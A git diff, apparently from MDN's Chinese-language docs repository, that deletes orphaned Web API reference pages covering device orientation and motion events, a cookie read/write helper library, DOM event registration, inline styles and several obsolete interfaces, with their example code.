有两种Javascript事件负责处理设备方向信息。第一种是{{domxref("DeviceOrientationEvent")}},它会在加速度传感器检测到设备在方向上产生变化时触发。通过处理该事件传来的数据信息,让交互式地响应用户移动设备旋转和仰角变化成为可能。

- -

第二种是{{domxref("DeviceMotionEvent")}},它会在加速度发生改变时触发。跟{{domxref("DeviceOrientationEvent")}}不同,{{domxref("DeviceMotionEvent")}}监听的是相应方向上加速度的变化。传感器通常都具有监听{{domxref("DeviceMotionEvent")}}的能力,包括笔记本中用于保护移动中的存储设备的传感器。{{domxref("DeviceOrientationEvent")}}事件更多见于移动设备中。

- -

处理方向(orientation)事件

- -

要接收设备方向变化信息,只需要监听{{ event("deviceorientation") }}事件:

- -
-

注意:gyronorm.js is a polyfill for normalizing the accelerometer and gyroscope data on mobile devices. This is useful for overcoming some of the differences in device support for device orientation.

-
- -
window.addEventListener("deviceorientation", handleOrientation, true);
-
- -

注册完事件监听处理函数后(对应这个例子中的handleOrientation),监听函数会定期地接收到最新的设备方向数据。

- -

方向事件对象中包含四个值:

- -

{{ domxref("DeviceOrientationEvent.absolute") }}

- -

{{ domxref("DeviceOrientationEvent.alpha") }}

- -

{{ domxref("DeviceOrientationEvent.beta") }}

- -

{{ domxref("DeviceOrientationEvent.gamma") }}

- -

下面是一个事件处理函数的例子:

- -
function handleOrientation(orientData) {
-  var absolute = orientData.absolute;
-  var alpha = orientData.alpha;
-  var beta = orientData.beta;
-  var gamma = orientData.gamma;
-
-  // Do stuff with the new orientation data
-}
-
- -

相关值解释

- -

关于每一个轴的记录值表示的是相对于标准的坐标系,设备在某一个给定轴上的旋转量。Orientation and motion data explained 这篇文章有更详细的描述,下面是对这篇文章的总结。

- - - -

例子

- -

这个例子会成功运行在支持检测自己方向的设备中的支持{{event("deviceorientation")}} 事件的浏览器中。

- -

让我们想象一下有一个球在花园中:

- -
<div class="garden">
-  <div class="ball"></div>
-</div>
-
-<pre class="output"></pre>
- -
- -
- -

花园只有200px宽(很小对吧),球在中央:

- -
.garden {
-  position: relative;
-  width : 200px;
-  height: 200px;
-  border: 5px solid #CCC;
-  border-radius: 10px;
-}
-
-.ball {
-  position: absolute;
-  top   : 90px;
-  left  : 90px;
-  width : 20px;
-  height: 20px;
-  background: green;
-  border-radius: 100%;
-}
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -

现在,如果我们移动设备,球将随之移动:

- -
var ball   = document.querySelector('.ball');
-var garden = document.querySelector('.garden');
-var output = document.querySelector('.output');
-
-var maxX = garden.clientWidth  - ball.clientWidth;
-var maxY = garden.clientHeight - ball.clientHeight;
-
-function handleOrientation(event) {
-  var x = event.beta;  // In degree in the range [-180,180]
-  var y = event.gamma; // In degree in the range [-90,90]
-
-  output.innerHTML  = "beta : " + x + "\n";
-  output.innerHTML += "gamma: " + y + "\n";
-
-  // Because we don't want to have the device upside down
-  // We constrain the x value to the range [-90,90]
-  if (x >  90) { x =  90};
-  if (x < -90) { x = -90};
-
-  // To make computation easier we shift the range of
-  // x and y to [0,180]
-  x += 90;
-  y += 90;
-
-  // 10 is half the size of the ball
-  // It center the positioning point to the center of the ball
-  ball.style.top  = (maxX*x/180 - 10) + "px";
-  ball.style.left = (maxY*y/180 - 10) + "px";
-}
-
-window.addEventListener('deviceorientation', handleOrientation);
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
-
- -
- -
- -
- -
- -
- -
- -
-
- -

输出结果:

- -

在{{LiveSampleLink("Orientation_example", "这里")}}以新窗口打开此示例;因为有些浏览器中的 {{event("deviceorientation")}} 事件不支持跨域。

- -
{{EmbedLiveSample('Orientation_example', '230', '260')}}
- -
-

警告: Chrome 和 Firefox 处理角度的机制不同,所以某些轴上的方向是相反的。

-
- -

处理移动(motion)事件

- -

移动事件的处理跟方向事件是一样的,除了他们有自己的事件名:{{ event("devicemotion") }}

- -
window.addEventListener("devicemotion", handleMotion, true);
- -
- -

真正不同的是做为参数传递给HandleMotion函数的{{ domxref("DeviceMotionEvent") }}对象所包含的信息。

- -

这个对象包含四个属性:

- - - -

相关值解释

- -

{{ domxref("DeviceMotionEvent") }}对象提供给web开发者设备在位置和方向上的改变速度的相关信息。这些变化信息是通过三个轴来体现的。(Orientation and motion data explained有更详细的说明。)

- -

acceleration 和 accelerationIncludingGravity,都包含下面三个轴:

- - - -

对于 rotationRate ,情况有点不同;三个轴的信息对应着以下三种情况:

- - - -

最后,interval 表示的是从设备获取数据的间隔时间,单位是毫秒。

- -

规范

- - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
- -

浏览器兼容性

- -

DeviceMotionEvent

- -

{{Compat("api.DeviceMotionEvent")}}

- -

DeviceOrientationEvent

- -

{{Compat("api.DeviceOrientationEvent")}}

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/devicelightevent/index.html b/files/zh-cn/orphaned/web/api/devicelightevent/index.html deleted file mode 100644 index e3e717c514..0000000000 --- a/files/zh-cn/orphaned/web/api/devicelightevent/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: DeviceLightEvent -slug: orphaned/Web/API/DeviceLightEvent -tags: - - API - - Ambient Light Events - - Experimental - - Interface - - NeedsBetterSpecLink - - NeedsMarkupWork - - 事件 -translation_of: Web/API/DeviceLightEvent -original_slug: Web/API/DeviceLightEvent ---- -
{{apiref("Ambient Light Events")}}{{SeeCompatTable}}
- -

DeviceLightEvent 为 Web 开发人员提供来自光传感器或类似设备的、关于附近环境光水平的信息。例如,基于当前环境光水平调节屏幕的亮度,以便节省电量或提供更好的阅读性。

- -

属性

- -
-
{{domxref("DeviceLightEvent.value")}}
-
环境光的亮度,单位为 {{interwiki("wikipedia", "lux")}}。
-
- -

示例

- -
window.addEventListener('devicelight', function(event) {
-  console.log(event.value);
-});
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}Initial specification
- -

浏览器兼容性

- - - -

{{Compat("api.DeviceLightEvent")}}

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html b/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html deleted file mode 100644 index 4d9d62b831..0000000000 --- a/files/zh-cn/orphaned/web/api/document/cookie/simple_document.cookie_framework/index.html +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: 简单的cookie框架 -slug: orphaned/Web/API/Document/cookie/Simple_document.cookie_framework -tags: - - Cookies - - cookie -translation_of: Web/API/Document/cookie/Simple_document.cookie_framework -original_slug: Web/API/Document/cookie/Simple_document.cookie_framework ---- -

一个小型框架: 一个完整的cookies读/写器对Unicode充分支持

- -

由于Cookie只是特殊格式的字符串,因此有时很难管理它们。 以下库旨在通过定义一个与一个Storage 对象部分一致的对象(docCookies)来抽象对document.cookie的访问。

- -

 以下代码也在GitHub上获取。它是基于GNU General Public License v3.0 许可 (许可链接)

- -
- -
/*\
-|*|
-|*|  :: cookies.js ::
-|*|
-|*|  A complete cookies reader/writer framework with full unicode support.
-|*|
-|*|  Revision #1 - September 4, 2014
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
-|*|  https://developer.mozilla.org/User:fusionchess
-|*|  https://github.com/madmurphy/cookies.js
-|*|
-|*|  This framework is released under the GNU Public License, version 3 or later.
-|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
-|*|
-|*|  Syntaxes:
-|*|
-|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
-|*|  * docCookies.getItem(name)
-|*|  * docCookies.removeItem(name[, path[, domain]])
-|*|  * docCookies.hasItem(name)
-|*|  * docCookies.keys()
-|*|
-\*/
-
-var docCookies = {
-  getItem: function (sKey) {
-    if (!sKey) { return null; }
-    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
-  },
-  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
-    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
-    var sExpires = "";
-    if (vEnd) {
-      switch (vEnd.constructor) {
-        case Number:
-          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
-          break;
-        case String:
-          sExpires = "; expires=" + vEnd;
-          break;
-        case Date:
-          sExpires = "; expires=" + vEnd.toUTCString();
-          break;
-      }
-    }
-    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
-    return true;
-  },
-  removeItem: function (sKey, sPath, sDomain) {
-    if (!this.hasItem(sKey)) { return false; }
-    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "");
-    return true;
-  },
-  hasItem: function (sKey) {
-    if (!sKey) { return false; }
-    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
-  },
-  keys: function () {
-    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
-    for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
-    return aKeys;
-  }
-};
- -
Note: 对于never-expire-cookies  我们使用一个随意的遥远日期Fri, 31 Dec 9999 23:59:59 GMT. 处于任何原因,你担心这样一个日期,使用 惯例世界末日Tue, 19 Jan 2038 03:14:07 GMT - 这是自1970年1月1日00:00:00 UTC以来使用 有符号的32位二进制整数表示的最大秒数。(i.e., 01111111111111111111111111111111 which is new Date(0x7fffffff * 1e3)).
- -

cookie的写入

- -
语法
- -
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
- -
Description
- -

新增/重写一个 cookie.

- -
参数
- -
-
name
-
新增/重写一个 cookie的 名字  (字符传).
-
value
-
cookie的 (字符串).
-
end 可选
-
max-age(最大有效时间)单位秒 (e.g. 31536e3 表示一年, Infinity  表示永不过期的cookie), 或者以GMTString 格式或者Date object 的expires date(过期时间); 如果没有,指定的cookie将在会话结束时到期 (number – finite or Infinitystring, Date object or null). -
-

Note: 尽管 officially defined in rfc6265, max-age 在 Internet Explorer, Edg和一些移动端浏览器上不兼容. 因此,将数字传递给end参数可能无法按预期工作. 可能的解决方案可能是将相对时间转换为绝对时间。例如,以下代码:

- -
docCookies.setItem("mycookie", "Hello world!", 150);
- -

可以使用绝对日期重写,如下例所示:

- -
 maxAgeToGMT (nMaxAge) {
-  return nMaxAge === Infinity ? "Fri, 31 Dec 9999 23:59:59 GMT" : (new Date(nMaxAge * 1e3 + Date.now())).toUTCString();
-}
-
-docCookies.setItem("mycookie", "Hello world!", maxAgeToGMT(150));
- -

在上面的代码中,函数 maxAgeToGMT() 用于从相对时间(即,从“age”)创建GMTString.

-
-
-
path 可选
-
可访问此cookie的路径. 例如,“/”,“/ mydir”;如果未指定,则默认为当前文档位置的当前路径(string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
-
domain 可选
-
可访问此cookie的域名. 例如,“example.com”“.example.com”(包括所有子域)或“subdomain.example.com”; 如果未指定,则默认为当前文档位置的主机端口(string or null).
-
secure 可选
-
cookie将仅通过https安全协议传输 (boolean or null).
-
- -

获取一个cookie

- -
语法
- -
docCookies.getItem(name)
- -
描述
- -

读一个cookie。如果cookie不存在,则返回null值。Parameters

- -
参数
- -
-
name
-
读取cookie的名字 (string).
-
- -

移除一个cookie

- -
语法
- -
docCookies.removeItem(name[, path[, domain]])
- -
描述
- -

删除一个cookie.

- -
参数
- -
-
name
-
待移除cookie的名字 (string).
-
path 可选
-
例如,"/","/ mydir";如果未指定,则默认为当前文档位置的当前路径 (string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
-
domain 可选
-
例如, "example.com",  或者 "subdomain.example.com"; 如果未指定,则默认为当前文档位置的主机端口(字符串或null),但不包括子域。 (string or null), 但不包括子域名。与早期的规范相反,域名中的前置的点被忽略。如果指定了域,则始终包含子域。 -
Note: 要删除跨子域的cookie,您需要想setItem()样removeItem()中指定domain属性。
-
-
- -

检查一个cookie(是否存在)

- -
语法
- -
docCookies.hasItem(name)
- -
描述
- -

检查当前位置是否存在cookie。

- -
参数
- -
-
name
-
待检查cookie的名字 (string).
-
- -

获取所有cookie列表

- -
Syntax
- -
docCookies.keys()
- -
Description
- -

返回此位置的所有可读cookie的数组。

- -

Example usage:

- -
docCookies.setItem("test0", "Hello world!");
-docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
-docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
-docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
-docCookies.setItem("test4", "Hello world!", "Wed, 19 Feb 2127 01:04:55 GMT");
-docCookies.setItem("test5", "Hello world!", "Fri, 20 Aug 88354 14:07:15 GMT", "/home");
-docCookies.setItem("test6", "Hello world!", 150);
-docCookies.setItem("test7", "Hello world!", 245, "/content");
-docCookies.setItem("test8", "Hello world!", null, null, "example.com");
-docCookies.setItem("test9", "Hello world!", null, null, null, true);
-docCookies.setItem("test1;=", "Safe character test;=", Infinity);
-
-alert(docCookies.keys().join("\n"));
-alert(docCookies.getItem("test1"));
-alert(docCookies.getItem("test5"));
-docCookies.removeItem("test1");
-docCookies.removeItem("test5", "/home");
-alert(docCookies.getItem("test1"));
-alert(docCookies.getItem("test5"));
-alert(docCookies.getItem("unexistingCookie"));
-alert(docCookies.getItem());
-alert(docCookies.getItem("test1;="));
-
diff --git a/files/zh-cn/orphaned/web/api/document_object_model/events/index.html b/files/zh-cn/orphaned/web/api/document_object_model/events/index.html deleted file mode 100644 index 60ab48c450..0000000000 --- a/files/zh-cn/orphaned/web/api/document_object_model/events/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 事件及DOM -slug: orphaned/Web/API/Document_Object_Model/Events -tags: - - DOM - - events -translation_of: Web/API/Document_Object_Model/Events -original_slug: Web/API/Document_Object_Model/Events ---- -

{{DefaultAPISidebar("DOM")}}

- -

简介

- -

这一章节介绍了DOM事件模型(DOM Event Model)。主要描述了事件(Event)接口本身以及DOM节点中的事件注册接口、事件监听接口,以及几个展示了多种事件接口之间相互关联的较长示例。

- -

这里有一张非常不错的图表清晰地解释了在DOM3级事件草案(DOM Level 3 Events draft)中通过DOM处理事件流的三个阶段。

- -

也可以通过示例章节的 示例5:事件传递 获取更多事件如何在DOM中流转的相关细节。

- -

注册事件监听器

- -

这里有3种方法来为一个DOM元素注册事件回调。

- -

{{domxref("EventTarget.addEventListener")}}

- -
// 假设 myButton 是一个按钮
-myButton.addEventListener('click', greet, false);
-function greet(event) {
-    // 打印并查看event对象
-    // 打印arguments,以防忽略了其他参数
-    console.log('greet: ' + arguments);
-    alert('Hello world');
-}
-
- -

你应该在现代Web技术的页面中使用这个方法。

- -

备注:IE 6-8 不支持这一方法,但提供了类似的API即 {{domxref("EventTarget.attachEvent")}} 用以替代。考虑到跨浏览器兼容性问题请使用有效的JS代码库。

- -

更多细节可在 {{domxref("EventTarget.addEventListener")}} 参考页面中找到.

- -

HTML 属性

- -
<button onclick="alert('Hello world!')">
-
- -

属性中的JS代码触发时通过event参数将Event类型对象传递过去的。其返回值以特殊的方式来处理,已经在HTML规范中被描述

- -

应该尽量避免这种书写方式,这将使HTML变大并减少可读性。考虑到内容/结构及行为不能很好的分开,这将造成bug很难被找到。

- -

DOM 元素属性

- -
// 假设 myButton 是一个按钮
-myButton.onclick = function(event){alert('Hello world');};
-
- -

带有event参数的函数可以这样被定义。其返回值以特殊的方式来处理,已经在HTML规范中被描述。

- -

这种方式的问题是每个事件及每个元素只能被设置一个回调。

- -

访问事件接口

- -

事件回调可以被绑定到包括DOM元素、文档、{{domxref("window")}} 等多种对象上。当一个事件被触发时,一个event对象将被创建并顺序的传递给事件监听者们。

- -

 {{domxref("Event")}} 接口可以在回调函数内被访问到,通过被传递进来做为第一个参数的事件对象。以下这个简单例子展示了如何将事件对象传递给事件回调函数,同时可以在这个函数中使用。

- -
function foo(evt) {
-  // evt参数自动分配事件对象
-  alert(evt);
-}
-table_el.onclick = foo;
-
- -

下级页面导航

- - diff --git a/files/zh-cn/orphaned/web/api/documentorshadowroot/index.html b/files/zh-cn/orphaned/web/api/documentorshadowroot/index.html deleted file mode 100644 index cc18771f80..0000000000 --- a/files/zh-cn/orphaned/web/api/documentorshadowroot/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: DocumentOrShadowRoot -slug: orphaned/Web/API/DocumentOrShadowRoot -tags: - - API - - DocumentOrShadowRoot - - Interface - - NeedsTranslation - - Reference - - TopicStub - - shadow dom -translation_of: Web/API/DocumentOrShadowRoot -original_slug: Web/API/DocumentOrShadowRoot ---- -
{{APIRef("Web Components")}}
- -

Shadow DOM APIDocumentOrShadowRoot 接口提供了 documents 与 shadow roots 之间共享的 API。The following features are included in both {{DOMxRef("Document")}} and {{DOMxRef("ShadowRoot")}}.

- -

属性

- -
-
{{DOMxRef("DocumentOrShadowRoot.activeElement")}}{{ReadOnlyInline}}
-
Returns the {{DOMxRef('Element')}} within the shadow tree that has focus.
-
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}{{ReadOnlyInline}}
-
Returns the {{DOMxRef('Element')}} that's currently in full screen mode for this document.
-
{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{Experimental_Inline}}{{ReadOnlyInline}}
-
Returns the element set as the target for mouse events while the pointer is locked. It returns null if lock is pending, the pointer is unlocked, or if the target is in another document.
-
{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}{{ReadOnlyInline}}
-
Returns a {{DOMxRef('StyleSheetList')}} of {{DOMxRef('CSSStyleSheet')}} objects for stylesheets explicitly linked into, or embedded in a document.
-
- -

方法

- -
-
{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}
-
Returns a {{DOMxRef('CaretPosition')}} object containing the DOM node containing the caret, and caret's character offset within that node.
-
{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}
-
Returns the topmost element at the specified coordinates.
-
{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}
-
Returns an array of all elements at the specified coordinates.
-
{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}
-
Returns a {{DOMxRef('Selection')}} object representing the range of text selected by the user, or the current position of the caret.
-
{{DOMxRef("DocumentOrShadowRoot.nodeFromPoint()")}} {{non-standard_inline}}
-
Returns the topmost node at the specified coordinates.
-
{{DOMxRef("DocumentOrShadowRoot.nodesFromPoint()")}} {{non-standard_inline}}
-
Returns an array of all nodes at the specified coordinates.
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}{{Spec2('Shadow DOM')}}Implementation in Shadow DOM.
{{SpecName('DOM WHATWG','#mixin-documentorshadowroot','DocumentOrShadowRoot')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("api.DocumentOrShadowRoot")}}

- -

[1] This interface's features are still implemented on the {{DOMxRef("Document")}} object.

diff --git a/files/zh-cn/orphaned/web/api/documenttouch/index.html b/files/zh-cn/orphaned/web/api/documenttouch/index.html deleted file mode 100644 index 9dd10a6ba5..0000000000 --- a/files/zh-cn/orphaned/web/api/documenttouch/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: DocumentTouch -slug: orphaned/Web/API/DocumentTouch -translation_of: Web/API/DocumentTouch -original_slug: Web/API/DocumentTouch ---- -

{{ ApiRef("DOM") }}

- -

{{ obsolete_header(25) }}

- -

从Gecko 25 (Firefox 25 / Thunderbird 25 / SeaMonkey 2.22)开始被废弃

- -

本特性已经被废弃,虽然它仍然可以在一些浏览器中工作,它随时都可能被移除,我们不鼓励使用它,你应尽量避免使用它。

- -

DocumentTouch 接口提供了一个便利的方法来创建 {{ domxref("Touch") }} 和 {{ domxref("TouchList") }} 对象, 可是它将被移除。 但这个方法将会继续在{{domxref("Document")}} 接口中存在.

- -

方法

- -
-
{{ domxref("DocumentTouch.createTouch()") }}
-
创建一个新的 {{ domxref("Touch") }} 对象.
-
{{ domxref("DocumentTouch.createTouchList()") }}
-
创建一个新的 {{ domxref("TouchList") }} 对象.
-
- -

更多

- - diff --git a/files/zh-cn/orphaned/web/api/domlocator/index.html b/files/zh-cn/orphaned/web/api/domlocator/index.html deleted file mode 100644 index 36266f2b67..0000000000 --- a/files/zh-cn/orphaned/web/api/domlocator/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: DOMLocator -slug: orphaned/Web/API/DOMLocator -translation_of: Web/API/DOMLocator -original_slug: Web/API/DOMLocator ---- -

{{APIRef("DOM")}}{{obsolete_header}}

- -
-

NOTE: This is not implemented in Mozilla

-
- -

Indicates a location such as where an error occurred. Returned by DOMError.location.

- -

Properties

- -
-
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.columnNumber")}}  {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
- -

Methods

- -

This interface neither implements, nor inherits, any method.

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/orphaned/web/api/element/currentstyle/index.html b/files/zh-cn/orphaned/web/api/element/currentstyle/index.html deleted file mode 100644 index c2f23d78b4..0000000000 --- a/files/zh-cn/orphaned/web/api/element/currentstyle/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Element.currentStyle -slug: orphaned/Web/API/Element/currentStyle -translation_of: Web/API/Element/currentStyle -original_slug: Web/API/Element/currentStyle ---- -
{{APIRef("DOM")}}
- -

{{ Non-standard_header() }}

- -

概述

- -

Element.currentStyle 是一个与 {{domxref("window.getComputedStyle")}}方法功能相同的属性。这个属性实现在旧版本的IE浏览器中.

- -

规范

- -

没有相关规范。

- -

Microsoft 在MSDN中对该属性进行了描述.

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
-
- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/element/runtimestyle/index.html b/files/zh-cn/orphaned/web/api/element/runtimestyle/index.html deleted file mode 100644 index 80aca7048a..0000000000 --- a/files/zh-cn/orphaned/web/api/element/runtimestyle/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Element.runtimeStyle -slug: orphaned/Web/API/Element/runtimeStyle -translation_of: Web/API/Element/runtimeStyle -original_slug: Web/API/Element/runtimeStyle ---- -
{{APIRef("DOM")}}
- -

{{ Non-standard_header() }}

- -

概要

- -

Element.runtimeStyle 是一个元素专有属性,和 {{domxref("HTMLElement.style")}} 相似,除了其中的样式属性外{{domxref("HTMLElement.style")}} 具有更高的优先级和修改能力。runtimeStyle 不能修改 style 中的content属性,其在旧版的IE浏览器上可用。

- -

规范

- -

不属于任何规范的一部分。

- -

微软对此有一篇描述文档 has a description on MSDN.

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
特性ChromeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
基本支持{{ CompatNo() }}{{ CompatNo() }}6{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
-
- -

相关链接

- - diff --git a/files/zh-cn/orphaned/web/api/elementcssinlinestyle/style/index.html b/files/zh-cn/orphaned/web/api/elementcssinlinestyle/style/index.html deleted file mode 100644 index fae28c710d..0000000000 --- a/files/zh-cn/orphaned/web/api/elementcssinlinestyle/style/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: HTMLElement.style -slug: orphaned/Web/API/ElementCSSInlineStyle/style -translation_of: Web/API/ElementCSSInlineStyle/style -original_slug: Web/API/ElementCSSInlineStyle/style ---- -
{{ APIRef("HTML DOM") }}
- -

HTMLElement.style 属性返回一个 CSSStyleDeclaration 对象,表示元素的 内联style 属性(attribute),但忽略任何样式表应用的属性。 通过 style 可以访问的 CSS 属性列表,可以查看 CSS Properties Reference

- -

由于 style 属性的优先级和通过style设置内联样式是一样的,并且在css层级样式中拥有最高优先级,因此在为特定的元素设置样式时很有用。

- -

设置 style 属性

- -

注意不能通过直接给style属性设置字符串(如:elt.style = "color: blue;")来设置style,因为style应被当成是只读的(尽管Firefox(Gecko), Chrome 和 Opera允许修改它),这是因为通过style属性返回的CSSStyleDeclaration对象是只读的。但是style属性本身的属性够用来设置样式。此外,通过单独的样式属性(如elt.style.color = '...')比用elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便,除非你希望完全通过一个单独语句来设置元素的全部样式,因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。

- -

例子

- -
// 在单个语句中设置多个样式
-elt.style.cssText = "color: blue; border: 1px solid black";
-// 或者
-elt.setAttribute("style", "color:red; border: 1px solid blue;");
-
-// 设置特定样式,同时保持其他内联样式值不变
-elt.style.color = "blue";
-
- -

获取元素样式信息

- -

通常,要了解元素样式的信息,仅仅使用 style 属性是不够的,这是因为它只包含了在元素内嵌 style 属性(attribute)上声明的的 CSS 属性,而不包括来自其他地方声明的样式,如 {{HTMLElement("head")}} 部分的内嵌样式表,或外部样式表。要获取一个元素的所有 CSS 属性,你应该使用 {{domxref("window.getComputedStyle()")}}。

- -
<!DOCTYPE HTML>
-<html>
-<body style="font-weight:bold;">
-
-    <div style="color:red" id="myElement">..</div>
-
- </body>
-</html>
- -

下面的代码输出 style 所有属性的名字,以及为元素 elt 显式设置的属性值和继承的计算值(computed value):

- -
var element = document.getElementById("myElement");
-var out = "";
-var elementStyle = element.style;
-var computedStyle = window.getComputedStyle(element, null);
-
-for (prop in elementStyle) {
-  if (elementStyle.hasOwnProperty(prop)) {
-    out += "  " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n";
-  }
-}
-console.log(out)
- -

输出结果如下:

- -
...
-fontWeight = '' > 'bold'
-color = 'red' > 'rgb(255, 0, 0)'
-...
-
- -

请注意,计算样式中font-weight的值为“bold”,元素的style属性中缺少该值

- -

规范

- -

DOM Level 2 Style: ElementCSSInlineStyle.style

- -

CSSOM: ElementCSSInlineStyle

- -

兼容性

- - - -

{{Compat("api.HTMLElement.style")}}

- -

相关链接

- - diff --git a/files/zh-cn/orphaned/web/api/entity/index.html b/files/zh-cn/orphaned/web/api/entity/index.html deleted file mode 100644 index bcece696c5..0000000000 --- a/files/zh-cn/orphaned/web/api/entity/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Entity -slug: orphaned/Web/API/Entity -translation_of: Web/API/Entity -original_slug: Web/API/Entity ---- -

{{APIRef("DOM")}} {{draft}} {{obsolete_header}}

- -

对DTD实体的只读引用. 也继承 {{domxref("Node")}} 的方法和属性。

- -

属性

- -
-
{{domxref("Entity.publicId")}} {{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.systemId")}} {{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.notationName")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.inputEncoding")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.xmlEncoding")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.xmlVersion")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM3 Core")}}inputEncoding, xmlEncoding, and xmlVersion were added
